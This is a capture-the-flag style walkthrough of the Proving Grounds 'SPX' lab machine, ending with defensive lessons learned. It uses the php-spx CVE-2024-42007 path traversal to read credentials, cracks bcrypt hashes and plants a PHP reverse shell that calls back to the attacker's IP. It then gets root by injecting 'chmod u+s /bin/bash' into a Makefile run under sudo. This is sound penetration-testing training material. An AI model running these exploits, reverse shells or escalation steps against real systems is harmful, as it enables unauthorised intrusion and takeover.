the_open_door
coffee
ESEN

SPX

Proving Grounds PracticeMediumLinux192.168.219.1084 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#php-spx#cve-2024-42007#path-traversal#tiny-file-manager#bcrypt-cracking#file-upload#sudo-make#credential-reuse#oscp
TL;DR. phpinfo.php gives away the php-spx 0.4.15 extension, vulnerable to CVE-2024-42007: a path traversal that reads arbitrary files (php-spx path traversal (CVE-2024-42007)). We read the Tiny File Manager index.php, pull its bcrypt hashes and crack them (hash cracking). As admin we upload a webshell (upload to RCE), the password is reused for profiler (credential reuse), and a sudo make install over a Makefile we control gives root (sudo make install abuse).

Recon#

Initial scan#

TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.


ping -c 1 192.168.219.108
64 bytes from 192.168.219.108: icmp_seq=1 ttl=61 time=29.5 ms

Only SSH and an Apache that presents itself as "Tiny File Manager".


sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.219.108
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

nmap -p22,80 -sCV 192.168.219.108 -oN targetedScan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-12 19:49 +0000
Nmap scan report for 192.168.219.108 (192.168.219.108)
Host is up (0.029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Tiny File Manager
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.77 seconds

HTTP - TCP 80#

dirsearch finds a reachable phpinfo.php:


dirsearch -u http://192.168.219.108 --exclude-status=404,403
200 -   22KB - /phpinfo.php

phpinfo is gold for fingerprinting: among the loaded extensions is SPX (php-spx) v0.4.15, a PHP profiler. And more: it reveals the spx.http_key directive, the key guarding the SPX UI, in cleartext (a2a90ca2f9f0ea04d267b16fb8e63800):

phpinfo reveals SPX Version 0.4.15 and spx.http_key = a2a90ca2f9f0ea04d267b16fb8e63800

Exploitation#

CVE-2024-42007: php-spx path traversal#

A search by version turns up the CVE's exploit:

Search "SPX 0.4.15 git exploit" pointing to the BubblyCola/CVE_2024_42007 repo (path traversal via SPX_UI_URI)

php-spx exposes an internal UI guarded by SPX_KEY. CVE-2024-42007 lets you pass a SPX_UI_URI with ../ to read files off disk (php-spx path traversal (CVE-2024-42007)). The exploit needs the SPX_KEY, and we have it: it is exactly the spx.http_key the phpinfo leaked. With it we read the app's index.php:


git clone https://github.com/BubblyCola/CVE_2024_42007

cd CVE_2024_42007

python3 CVE_2024_42007.py -t http://192.168.219.108 -f /var/www/html/index.php | grep bash

The index.php is the Tiny File Manager 2.5.3 config, and its $auth_users array holds two bcrypt hashes in cleartext:

'admin' => '$2y$10$7LaMUa8an8NrvnQsj5xZ3eDdOejgLyXE8IIvsC.hFy1dg7rPb9cqG',
'user'  => '$2y$10$x8PS6i0Sji2Pglyz7SLFruYFpAsz9XAYsdiPyfse6QDkB/QsdShxi'

Cracking the bcrypt hashes#

We save both hashes and run john (hash cracking):


john --wordlist=/usr/share/wordlists/rockyou.txt hashes
lowprofile       (?)
profiler         (?)
2g 0:00:00:00 DONE

Out come lowprofile and profiler. The first opens Tiny File Manager as admin.

Editing index.php to RCE#

We log into Tiny File Manager with admin / lowprofile:

Tiny File Manager (H3K) login with admin / lowprofile

Once in, the panel shows the webroot with index.php and phpinfo.php (owned by www-data), and the footer confirms the version, Tiny File Manager 2.5.3:

Tiny File Manager 2.5.3 panel with index.php and phpinfo.php in the webroot

TFM lets you edit files (arbitrary write to RCE). For the reverse shell we use PentestMonkey's PHP from revshells.com (pointing at our IP and port 22):

revshells.com with the PentestMonkey PHP, IP 192.168.45.238 and port 22

And we overwrite index.php itself with that code from the TFM editor:

TFM editor with index.php replaced by the PentestMonkey reverse shell (192.168.45.238:22)

With Penelope listening on 22, a simple curl to index.php fires the connection:

With penelope up, which is where the 22 listener gets added:


penelope

curl http://192.168.219.108/index.php
(Penelope)> listeners add -p 22
[+] Got reverse shell from spx~192.168.219.108-Linux-x86_64  Assigned SessionID <1>
www-data@spx:/$ whoami
www-data

We get execution as www-data.

User pivoting#

Password reuse for profiler#

The password recovered from the manager works as-is for the profiler system account (credential reuse):


su profiler   # lowprofile
profiler@spx:/home$ id
uid=1000(profiler) gid=1000(profiler) groups=1000(profiler)

Local#


cat local.txt && whoami && ip a && hostname
164935483cfee7d46cfc49e7999389ff
profiler
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:0b:6d brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    inet 192.168.219.108/24 brd 192.168.219.255 scope global ens160
       valid_lft forever preferred_lft forever
spx

Privilege escalation#

sudo make install with our own Makefile#

profiler can run make install as root in a directory they own:


sudo -l
User profiler may run the following commands on spx:
    (ALL) /usr/bin/make install -C /home/profiler/php-spx

make runs the Makefile recipes verbatim, and that Makefile lives in our directory. We just inject a command into the target install invokes (sudo make install abuse). We add to the install-spx-ui-assets target:


nano Makefile

And a check that the line landed inside the target, which is the one install invokes:


cat Makefile | grep chmod -C 5
install-spx-ui-assets:
	@echo "Installing SPX web UI to: $(spx_ui_assets_dir)"
	@mkdir -p $(spx_ui_assets_dir)
	@cp -r assets/web-ui/* $(spx_ui_assets_dir)
	@chmod u+s /bin/bash

install: $(all_targets) $(install_targets) install-spx-ui-assets

We run the rule with sudo and pop the privileged shell:


sudo /usr/bin/make install -C /home/profiler/php-spx
make: Entering directory '/home/profiler/php-spx'
Installing shared extensions:     /usr/lib/php/20210902/
Installing SPX web UI to: /usr/share/misc/php-spx/assets/web-ui
make: Leaving directory '/home/profiler/php-spx'

The rule ran with root privileges, so the chmod did too. It shows on the binary:


ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash

The s of the SUID bit is there. The -p is mandatory: without it bash drops the privileges on startup once it sees that the effective UID does not match the real one.


bash -p
bash-5.1# whoami
root

Root#


cat /root/proof.txt && whoami && ip a && hostname
b168de96689fc2ca42843f1a8220c9c3
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:0b:6d brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    inet 192.168.219.108/24 brd 192.168.219.255 scope global ens160
       valid_lft forever preferred_lft forever
spx

Attack chain#

Apache 80  --  Tiny File Manager + php-spx 0.4.15
        │  phpinfo.php reveals php-spx 0.4.15
        │  spx.http_key (phpinfo) + CVE-2024-42007: path traversal -> read index.php (bcrypt hashes)
        │  john -> admin:lowprofile / user:profiler
        │  TFM admin login -> edit index.php with a PHP reverse shell
        ▼
www-data
        │  su profiler (reuses lowprofile)
        ▼
profiler  (local.txt)
        │  sudo make install -C ~/php-spx with controlled Makefile -> chmod u+s /bin/bash
        ▼
root  (proof.txt)  [bash -p]

Lessons learned#

  • phpinfo.php publishes the extension map. That is where php-spx 0.4.15 and its CVE surfaced. Never leave a reachable phpinfo in production.
  • A PHP profiler is not harmless. php-spx shipped a path traversal (CVE-2024-42007) that read the config with the credentials. Diagnostic tooling must stay off the external surface.
  • Hashes in config are credentials. bcrypt is not unbreakable against weak passwords; lowprofile fell instantly and was reused for the system user too.
  • sudo make install is RCE if you control the Makefile. make runs any recipe; granting make via sudo over a writable directory is effectively granting root.
Command cheatsheet 8 commands

Quick review